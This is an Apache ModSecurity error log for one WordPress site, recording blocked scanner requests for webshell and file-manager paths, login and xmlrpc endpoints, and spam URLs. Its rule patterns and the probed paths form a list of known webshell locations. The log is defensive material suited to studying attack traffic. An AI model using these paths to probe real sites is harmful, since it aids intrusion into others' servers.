[Fri Jan 30 22:10:32.349558 2026] [:error] [pid 24712:tid 24759] [client 45.137.126.52:58359] [client 45.137.126.52] ModSecurity: Access denied with code 403 (phase 1). Pattern match "^/(?:tinyfilemanager(?:\\\\.php)?|filemanager\\\\.php|fm\\\\.php|tiny\\\\.php|wp-content/plugins/pwnd/pwnd\\\\.php|wp-includes/(?:block-supports/autoload_classmap\\\\.php|Text/Diff/Engine/wp\\\\.php|blocks/details/about\\\\.php))$" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "29"] [id "771002"] [msg "Blocked probe for known bad path/file manager/webshell"] [tag "probes"] [tag "wordpress"] [hostname "measureyourbrand.com.au"] [uri "/filemanager.php"] [unique_id "aXy72IRLQrFiQF3h9-tcVQAAAZE"]
[Fri Jan 30 22:10:34.558518 2026] [:error] [pid 38980:tid 38999] [client 45.137.126.24:59161] [client 45.137.126.24] ModSecurity: Access denied with code 403 (phase 1). Pattern match "^/wp-includes/.*\\\\.php$" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "15"] [id "771001"] [msg "Blocked direct PHP under wp-includes"] [tag "wordpress"] [tag "hardening"] [hostname "measureyourbrand.com.au"] [uri "/wp-includes/IXR/admin.php"] [unique_id "aXy72rYByxUZEaKXdHqzSwAAAgw"]
[Fri Jan 30 22:10:36.208852 2026] [:error] [pid 38980:tid 38990] [client 45.137.126.6:52179] [client 45.137.126.6] ModSecurity: Access denied with code 403 (phase 1). Pattern match "^/wp-includes/.*\\\\.php$" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "15"] [id "771001"] [msg "Blocked direct PHP under wp-includes"] [tag "wordpress"] [tag "hardening"] [hostname "measureyourbrand.com.au"] [uri "/wp-includes/js/jquery/jquery.php"] [unique_id "aXy73LYByxUZEaKXdHqzWAAAAgM"]
[Fri Jan 30 22:10:37.914846 2026] [:error] [pid 46914:tid 46993] [client 45.137.126.23:35247] [client 45.137.126.23] ModSecurity: Access denied with code 403 (phase 1). Pattern match "^/wp-includes/.*\\\\.php$" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "15"] [id "771001"] [msg "Blocked direct PHP under wp-includes"] [tag "wordpress"] [tag "hardening"] [hostname "measureyourbrand.com.au"] [uri "/wp-includes/block-supports/autoload_classmap.php"] [unique_id "aXy73VgSfJ4kZxNKlb_eYQAAAI8"]
[Fri Jan 30 22:10:42.418037 2026] [:error] [pid 38980:tid 39005] [client 45.137.126.2:50899] [client 45.137.126.2] ModSecurity: Access denied with code 403 (phase 1). Pattern match "^/wp-includes/.*\\\\.php$" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "15"] [id "771001"] [msg "Blocked direct PHP under wp-includes"] [tag "wordpress"] [tag "hardening"] [hostname "measureyourbrand.com.au"] [uri "/wp-includes/blocks/table/int/tmpl/index.php"] [unique_id "aXy74rYByxUZEaKXdHqzfAAAAhI"]
[Fri Jan 30 22:10:44.083654 2026] [:error] [pid 24711:tid 24714] [client 45.137.126.4:39581] [client 45.137.126.4] ModSecurity: Access denied with code 403 (phase 1). Pattern match "^/wp-includes/.*\\\\.php$" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "15"] [id "771001"] [msg "Blocked direct PHP under wp-includes"] [tag "wordpress"] [tag "hardening"] [hostname "measureyourbrand.com.au"] [uri "/wp-includes/js/jquery/suggest.php"] [unique_id "aXy75K5Gwh4var6T23KzRgAAAUA"]
[Fri Jan 30 22:10:46.315102 2026] [:error] [pid 47663:tid 47667] [client 45.137.126.23:33605] [client 45.137.126.23] ModSecurity: Access denied with code 403 (phase 1). Pattern match "^/wp-includes/.*\\\\.php$" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "15"] [id "771001"] [msg "Blocked direct PHP under wp-includes"] [tag "wordpress"] [tag "hardening"] [hostname "measureyourbrand.com.au"] [uri "/wp-includes/defaults.php"] [unique_id "aXy75kHGTrgIKCqEYbWlFQAAAkI"]
[Fri Jan 30 22:10:47.977828 2026] [:error] [pid 47021:tid 47030] [client 45.137.126.15:32743] [client 45.137.126.15] ModSecurity: Access denied with code 403 (phase 1). Pattern match "^/wp-includes/.*\\\\.php$" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "15"] [id "771001"] [msg "Blocked direct PHP under wp-includes"] [tag "wordpress"] [tag "hardening"] [hostname "measureyourbrand.com.au"] [uri "/wp-includes/customize/index.php"] [unique_id "aXy759ap1k13UdZUNSRYVQAAAMc"]
[Fri Jan 30 22:10:51.289047 2026] [:error] [pid 47663:tid 47665] [client 45.137.126.4:38215] [client 45.137.126.4] ModSecurity: Access denied with code 403 (phase 1). Pattern match "^/wp-includes/.*\\\\.php$" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "15"] [id "771001"] [msg "Blocked direct PHP under wp-includes"] [tag "wordpress"] [tag "hardening"] [hostname "measureyourbrand.com.au"] [uri "/wp-includes/SimplePie/index.php"] [unique_id "aXy760HGTrgIKCqEYbWlQAAAAkA"]
[Fri Jan 30 22:10:52.949613 2026] [:error] [pid 46914:tid 46984] [client 45.137.126.22:45915] [client 45.137.126.22] ModSecurity: Access denied with code 403 (phase 1). Pattern match "^/wp-includes/.*\\\\.php$" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "15"] [id "771001"] [msg "Blocked direct PHP under wp-includes"] [tag "wordpress"] [tag "hardening"] [hostname "measureyourbrand.com.au"] [uri "/wp-includes/theme-compat/about.php"] [unique_id "aXy77FgSfJ4kZxNKlb_e4wAAAIY"]
[Fri Jan 30 22:10:54.607892 2026] [:error] [pid 47663:tid 47687] [client 45.137.126.37:60067] [client 45.137.126.37] ModSecurity: Access denied with code 403 (phase 1). Pattern match "^/wp-includes/.*\\\\.php$" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "15"] [id "771001"] [msg "Blocked direct PHP under wp-includes"] [tag "wordpress"] [tag "hardening"] [hostname "measureyourbrand.com.au"] [uri "/wp-includes/Requests/index.php"] [unique_id "aXy77kHGTrgIKCqEYbWlXAAAAlY"]
[Fri Jan 30 22:10:55.701452 2026] [:error] [pid 47021:tid 47040] [client 45.137.126.23:45617] [client 45.137.126.23] ModSecurity: Access denied with code 403 (phase 1). Pattern match "^/wp-includes/.*\\\\.php$" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "15"] [id "771001"] [msg "Blocked direct PHP under wp-includes"] [tag "wordpress"] [tag "hardening"] [hostname "measureyourbrand.com.au"] [uri "/wp-includes/ID3/about.php/wp-content/x/index.php"] [unique_id "aXy779ap1k13UdZUNSRYlAAAANE"]
[Fri Jan 30 22:10:56.831918 2026] [:error] [pid 38980:tid 39009] [client 45.137.126.16:36829] [client 45.137.126.16] ModSecurity: Access denied with code 403 (phase 1). Pattern match "^/wp-includes/.*\\\\.php$" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "15"] [id "771001"] [msg "Blocked direct PHP under wp-includes"] [tag "wordpress"] [tag "hardening"] [hostname "measureyourbrand.com.au"] [uri "/wp-includes/ID3/about.php"] [unique_id "aXy78LYByxUZEaKXdHqzyQAAAhY"]
[Fri Jan 30 22:10:59.643735 2026] [:error] [pid 24681:tid 24700] [client 45.137.126.3:27499] [client 45.137.126.3] ModSecurity: Access denied with code 403 (phase 1). Pattern match "^/wp-includes/.*\\\\.php$" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "15"] [id "771001"] [msg "Blocked direct PHP under wp-includes"] [tag "wordpress"] [tag "hardening"] [hostname "measureyourbrand.com.au"] [uri "/wp-includes/assets/info.php"] [unique_id "aXy784E368IXQpahn0KPoQAAARE"]
[Fri Jan 30 22:11:00.737597 2026] [:error] [pid 24681:tid 24695] [client 45.137.126.22:45217] [client 45.137.126.22] ModSecurity: Access denied with code 403 (phase 1). Pattern match "^/wp-includes/.*\\\\.php$" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "15"] [id "771001"] [msg "Blocked direct PHP under wp-includes"] [tag "wordpress"] [tag "hardening"] [hostname "measureyourbrand.com.au"] [uri "/wp-includes/class.api.php"] [unique_id "aXy79IE368IXQpahn0KPqAAAAQw"]
[Fri Jan 30 22:11:01.864868 2026] [:error] [pid 38980:tid 38989] [client 45.137.126.13:48823] [client 45.137.126.13] ModSecurity: Access denied with code 403 (phase 1). Pattern match "^/wp-includes/.*\\\\.php$" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "15"] [id "771001"] [msg "Blocked direct PHP under wp-includes"] [tag "wordpress"] [tag "hardening"] [hostname "measureyourbrand.com.au"] [uri "/wp-includes/fonts/index.php"] [unique_id "aXy79bYByxUZEaKXdHqz8gAAAgI"]
[Fri Jan 30 22:11:07.511265 2026] [:error] [pid 47663:tid 47687] [client 45.137.126.8:49021] [client 45.137.126.8] ModSecurity: Access denied with code 403 (phase 1). Pattern match "^/wp-includes/.*\\\\.php$" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "15"] [id "771001"] [msg "Blocked direct PHP under wp-includes"] [tag "wordpress"] [tag "hardening"] [hostname "measureyourbrand.com.au"] [uri "/wp-includes/admin.php"] [unique_id "aXy7-0HGTrgIKCqEYbWlqwAAAlY"]
[Fri Jan 30 22:11:10.313692 2026] [:error] [pid 46914:tid 46985] [client 45.137.126.44:43471] [client 45.137.126.44] ModSecurity: Warning. Pattern match "/wp-login\\\\.php" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_Wordpress.conf"] [line "14"] [id "400003"] [msg "wp-login.php hit from 45.137.126.44, incrementing brute counter"] [hostname "measureyourbrand.com.au"] [uri "/wp-admin/js/wp-login.php"] [unique_id "aXy7_lgSfJ4kZxNKlb_fiwAAAIc"]
[Fri Jan 30 22:11:17.061904 2026] [:error] [pid 46914:tid 47002] [client 45.137.126.44:43471] [client 45.137.126.44] ModSecurity: Access denied with code 403 (phase 1). Pattern match "^/wp-includes/.*\\\\.php$" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "15"] [id "771001"] [msg "Blocked direct PHP under wp-includes"] [tag "wordpress"] [tag "hardening"] [hostname "measureyourbrand.com.au"] [uri "/wp-includes/rest-api/about.php"] [unique_id "aXy8BVgSfJ4kZxNKlb_fyQAAAJg"]
[Fri Jan 30 22:11:19.324031 2026] [:error] [pid 46912:tid 46933] [client 45.137.126.53:31487] [client 45.137.126.53] ModSecurity: Warning. Pattern match "/wp-login\\\\.php" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_Wordpress.conf"] [line "14"] [id "400003"] [msg "wp-login.php hit from 45.137.126.53, incrementing brute counter"] [hostname "measureyourbrand.com.au"] [uri "/wp-admin/user/wp-login.php"] [unique_id "aXy8Bz6yiVW7A9NwFFn0vgAAAAk"]
[Fri Jan 30 22:11:20.450483 2026] [:error] [pid 46912:tid 46939] [client 45.137.126.53:31487] [client 45.137.126.53] ModSecurity: Access denied with code 403 (phase 1). Pattern match "^/wp-includes/.*\\\\.php$" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "15"] [id "771001"] [msg "Blocked direct PHP under wp-includes"] [tag "wordpress"] [tag "hardening"] [hostname "measureyourbrand.com.au"] [uri "/wp-includes/item.php"] [unique_id "aXy8CD6yiVW7A9NwFFn0ygAAAA8"]
[Fri Jan 30 22:11:26.120608 2026] [:error] [pid 24712:tid 24749] [client 45.137.126.18:41825] [client 45.137.126.18] ModSecurity: Access denied with code 403 (phase 1). Pattern match "^/wp-includes/.*\\\\.php$" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "15"] [id "771001"] [msg "Blocked direct PHP under wp-includes"] [tag "wordpress"] [tag "hardening"] [hostname "measureyourbrand.com.au"] [uri "/wp-includes/assets/husky301.php"] [unique_id "aXy8DoRLQrFiQF3h9-teBgAAAYg"]
[Fri Jan 30 22:11:32.106229 2026] [:error] [pid 24711:tid 24719] [client 45.137.126.5:35051] [client 45.137.126.5] ModSecurity: Access denied with code 403 (phase 1). Pattern match "^/wp-includes/.*\\\\.php$" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "15"] [id "771001"] [msg "Blocked direct PHP under wp-includes"] [tag "wordpress"] [tag "hardening"] [hostname "measureyourbrand.com.au"] [uri "/wp-includes/images/smilies/index.php"] [unique_id "aXy8FK5Gwh4var6T23K1PQAAAUU"]
[Fri Jan 30 22:11:34.375195 2026] [:error] [pid 47663:tid 47665] [client 45.137.126.13:64791] [client 45.137.126.13] ModSecurity: Access denied with code 403 (phase 1). Pattern match "^/wp-includes/.*\\\\.php$" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "15"] [id "771001"] [msg "Blocked direct PHP under wp-includes"] [tag "wordpress"] [tag "hardening"] [hostname "measureyourbrand.com.au"] [uri "/wp-includes/classwithtostring.php"] [unique_id "aXy8FkHGTrgIKCqEYbWmcAAAAkA"]
[Fri Jan 30 22:11:37.221605 2026] [:error] [pid 24711:tid 24732] [client 45.137.126.47:30857] [client 45.137.126.47] ModSecurity: Warning. Pattern match "/wp-login\\\\.php" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_Wordpress.conf"] [line "14"] [id "400003"] [msg "wp-login.php hit from 45.137.126.47, incrementing brute counter"] [hostname "measureyourbrand.com.au"] [uri "/wp-admin/wp-login.php"] [unique_id "aXy8Ga5Gwh4var6T23K1bQAAAVI"]
[Fri Jan 30 22:11:37.769490 2026] [:error] [pid 24711:tid 24738] [client 45.137.126.47:30857] [client 45.137.126.47] ModSecurity: Access denied with code 403 (phase 1). Pattern match "^/wp-includes/.*\\\\.php$" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "15"] [id "771001"] [msg "Blocked direct PHP under wp-includes"] [tag "wordpress"] [tag "hardening"] [hostname "measureyourbrand.com.au"] [uri "/wp-includes/rest-api/endpoints/index.php"] [unique_id "aXy8Ga5Gwh4var6T23K1cwAAAVg"]
[Fri Jan 30 22:11:48.386028 2026] [:error] [pid 38686:tid 38696] [client 45.137.126.3:22007] [client 45.137.126.3] ModSecurity: Access denied with code 403 (phase 1). Pattern match "^/wp-includes/.*\\\\.php$" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "15"] [id "771001"] [msg "Blocked direct PHP under wp-includes"] [tag "wordpress"] [tag "hardening"] [hostname "measureyourbrand.com.au"] [uri "/wp-includes/style-engine/bypass.php"] [unique_id "aXy8JAoE8BAjgw1_sAV6CwAAAcY"]
[Fri Jan 30 22:11:51.146121 2026] [:error] [pid 46914:tid 46994] [client 45.137.126.26:33499] [client 45.137.126.26] ModSecurity: Warning. Pattern match "/wp-login\\\\.php" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_Wordpress.conf"] [line "14"] [id "400003"] [msg "wp-login.php hit from 45.137.126.26, incrementing brute counter"] [hostname "measureyourbrand.com.au"] [uri "/wp-admin/css/colors/midnight/wp-login.php"] [unique_id "aXy8J1gSfJ4kZxNKlb_gwAAAAJA"]
[Fri Jan 30 22:11:53.427981 2026] [:error] [pid 46914:tid 46984] [client 45.137.126.26:33499] [client 45.137.126.26] ModSecurity: Access denied with code 403 (phase 1). Pattern match "^/wp-includes/.*\\\\.php$" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "15"] [id "771001"] [msg "Blocked direct PHP under wp-includes"] [tag "wordpress"] [tag "hardening"] [hostname "measureyourbrand.com.au"] [uri "/wp-includes/assets/about.php"] [unique_id "aXy8KVgSfJ4kZxNKlb_gygAAAIY"]
[Fri Jan 30 22:11:55.102722 2026] [:error] [pid 47663:tid 47677] [client 45.137.126.38:62219] [client 45.137.126.38] ModSecurity: Access denied with code 403 (phase 1). Pattern match "^/wp-includes/.*\\\\.php$" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "15"] [id "771001"] [msg "Blocked direct PHP under wp-includes"] [tag "wordpress"] [tag "hardening"] [hostname "measureyourbrand.com.au"] [uri "/wp-includes/infi.php"] [unique_id "aXy8K0HGTrgIKCqEYbWnKAAAAkw"]
[Fri Jan 30 22:11:57.301413 2026] [:error] [pid 47021:tid 47040] [client 45.137.126.52:60923] [client 45.137.126.52] ModSecurity: Access denied with code 403 (phase 1). Pattern match "^/wp-includes/.*\\\\.php$" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "15"] [id "771001"] [msg "Blocked direct PHP under wp-includes"] [tag "wordpress"] [tag "hardening"] [hostname "measureyourbrand.com.au"] [uri "/wp-includes/IXR/index.php"] [unique_id "aXy8Ldap1k13UdZUNSRbBAAAANE"]
[Fri Jan 30 22:12:25.511389 2026] [:error] [pid 46914:tid 46980] [client 45.137.126.35:26929] [client 45.137.126.35] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/wp-includes/Requests/"] [unique_id "aXy8SVgSfJ4kZxNKlb_hvwAAAII"]
[Sat Jan 31 01:17:54.927349 2026] [:error] [pid 59660:tid 59684] [client 43.157.180.116:46704] [client 43.157.180.116] ModSecurity: Access denied with code 403 (phase 2). Pattern match "\\\\b(close|keep-alive),[\\\\t\\\\n\\\\r ]{0,1}(close|keep-alive)\\\\b" at REQUEST_HEADERS:Connection. [file "/usr/local/apache/modsecurity-cwaf/rules/12_HTTP_Protocol.conf"] [line "70"] [id "210350"] [rev "1"] [msg "COMODO WAF: Multiple/Conflicting Connection Header Data Found||www.measureyourbrand.com.au|F|4"] [data "keep-alive, close"] [severity "WARNING"] [tag "CWAF"] [tag "Protocol"] [hostname "www.measureyourbrand.com.au"] [uri "/"] [unique_id "aXznwiwTX33V6TPUqxPqCwAAABQ"]
[Sat Jan 31 01:30:10.284806 2026] [:error] [pid 59661:tid 59693] [client 34.122.167.240:49259] [client 34.122.167.240] ModSecurity: Warning. Pattern match "/xmlrpc\\\\.php" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_Wordpress.conf"] [line "6"] [id "400001"] [msg "xmlrpc.php hit from 34.122.167.240, incrementing ddos counter"] [hostname "measureyourbrand.com.au"] [uri "/xmlrpc.php"] [unique_id "aXzqopw_qINw5Uk-43Xb6AAAAEI"]
[Sat Jan 31 01:30:12.127473 2026] [:error] [pid 59661:tid 59701] [client 34.122.167.240:49259] [client 34.122.167.240] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/2018/wp-includes/wlwmanifest.xml"] [unique_id "aXzqpJw_qINw5Uk-43Xb9wAAAEo"]
[Sat Jan 31 01:30:13.049040 2026] [:error] [pid 59661:tid 59696] [client 34.122.167.240:65148] [client 34.122.167.240] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/2019/wp-includes/wlwmanifest.xml"] [unique_id "aXzqpZw_qINw5Uk-43Xb-AAAAEU"]
[Sat Jan 31 01:30:13.878171 2026] [:error] [pid 59660:tid 59679] [client 34.122.167.240:50548] [client 34.122.167.240] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/shop/wp-includes/wlwmanifest.xml"] [unique_id "aXzqpSwTX33V6TPUqxPwewAAAA8"]
[Sat Jan 31 01:30:14.671964 2026] [:error] [pid 59660:tid 59676] [client 34.122.167.240:50163] [client 34.122.167.240] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/wp1/wp-includes/wlwmanifest.xml"] [unique_id "aXzqpiwTX33V6TPUqxPwfQAAAAw"]
[Sat Jan 31 01:30:15.471411 2026] [:error] [pid 59662:tid 59733] [client 34.122.167.240:61045] [client 34.122.167.240] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/test/wp-includes/wlwmanifest.xml"] [unique_id "aXzqpw7k73dlTgySEchYAQAAAI8"]
[Sat Jan 31 01:30:16.302964 2026] [:error] [pid 59748:tid 59772] [client 34.122.167.240:64948] [client 34.122.167.240] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/media/wp-includes/wlwmanifest.xml"] [unique_id "aXzqqGlxTen-ziDxotSCcwAAANU"]
[Sat Jan 31 01:30:17.134066 2026] [:error] [pid 59662:tid 59718] [client 34.122.167.240:64035] [client 34.122.167.240] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/wp2/wp-includes/wlwmanifest.xml"] [unique_id "aXzqqQ7k73dlTgySEchYBgAAAIA"]
[Sat Jan 31 01:30:18.009625 2026] [:error] [pid 59660:tid 59681] [client 34.122.167.240:57075] [client 34.122.167.240] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/site/wp-includes/wlwmanifest.xml"] [unique_id "aXzqqiwTX33V6TPUqxPwgQAAABE"]
[Sat Jan 31 01:30:18.952793 2026] [:error] [pid 59661:tid 59714] [client 34.122.167.240:63774] [client 34.122.167.240] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/cms/wp-includes/wlwmanifest.xml"] [unique_id "aXzqqpw_qINw5Uk-43XcCgAAAFc"]
[Sat Jan 31 01:30:19.751739 2026] [:error] [pid 59748:tid 59757] [client 34.122.167.240:63232] [client 34.122.167.240] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/sito/wp-includes/wlwmanifest.xml"] [unique_id "aXzqq2lxTen-ziDxotSCdwAAAMY"]
[Sat Jan 31 02:10:35.584710 2026] [:error] [pid 8354:tid 8369] [client 121.229.185.160:60691] [client 121.229.185.160] ModSecurity: Access denied with code 403 (phase 2). Pattern match "\\\\b(close|keep-alive),[\\\\t\\\\n\\\\r ]{0,1}(close|keep-alive)\\\\b" at REQUEST_HEADERS:Connection. [file "/usr/local/apache/modsecurity-cwaf/rules/12_HTTP_Protocol.conf"] [line "70"] [id "210350"] [rev "1"] [msg "COMODO WAF: Multiple/Conflicting Connection Header Data Found||measureyourbrand.com.au|F|4"] [data "keep-alive, close"] [severity "WARNING"] [tag "CWAF"] [tag "Protocol"] [hostname "measureyourbrand.com.au"] [uri "/"] [unique_id "aXz0G927IpxWjEJXCd8dDgAAAY0"]
[Sat Jan 31 03:36:16.014672 2026] [:error] [pid 39339:tid 39361] [client 172.213.25.189:27062] [client 172.213.25.189] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/wp-content/plugins/hellopress/wp_filemanager.php"] [unique_id "aX0IMMWi-IjigR3oHY5c8wAAANQ"]
[Sat Jan 31 03:36:25.798507 2026] [:error] [pid 39242:tid 39276] [client 172.213.25.189:52307] [client 172.213.25.189] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/wp-content/plugins/hellopress/wp_filemanager.php"] [unique_id "aX0IOdOgXnkKGGSSCINCAgAAABY"]
[Sat Jan 31 03:38:34.038940 2026] [:error] [pid 39339:tid 39357] [client 147.135.213.153:55124] [client 147.135.213.153] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/apollo%20slot%20pg.aspx"] [unique_id "aX0IusWi-IjigR3oHY5egQAAANA"]
[Sat Jan 31 03:38:36.600432 2026] [:error] [pid 39339:tid 39352] [client 147.135.213.153:42710] [client 147.135.213.153] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/auto%20slot.aspx"] [unique_id "aX0IvMWi-IjigR3oHY5ejQAAAMs"]
[Sat Jan 31 03:38:38.979877 2026] [:error] [pid 39244:tid 39333] [client 147.135.213.153:41600] [client 147.135.213.153] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/betflik%20casino.aspx"] [unique_id "aX0Ivno-KRTvg3jHEDyl5AAAAJc"]
[Sat Jan 31 03:38:41.509131 2026] [:error] [pid 39242:tid 39266] [client 147.135.213.153:41608] [client 147.135.213.153] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/betflik%20co.aspx"] [unique_id "aX0IwdOgXnkKGGSSCINC3wAAAAw"]
[Sat Jan 31 03:38:44.051789 2026] [:error] [pid 39242:tid 39274] [client 147.135.213.153:41620] [client 147.135.213.153] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/betflik%20dc.aspx"] [unique_id "aX0IxNOgXnkKGGSSCINC5QAAABQ"]
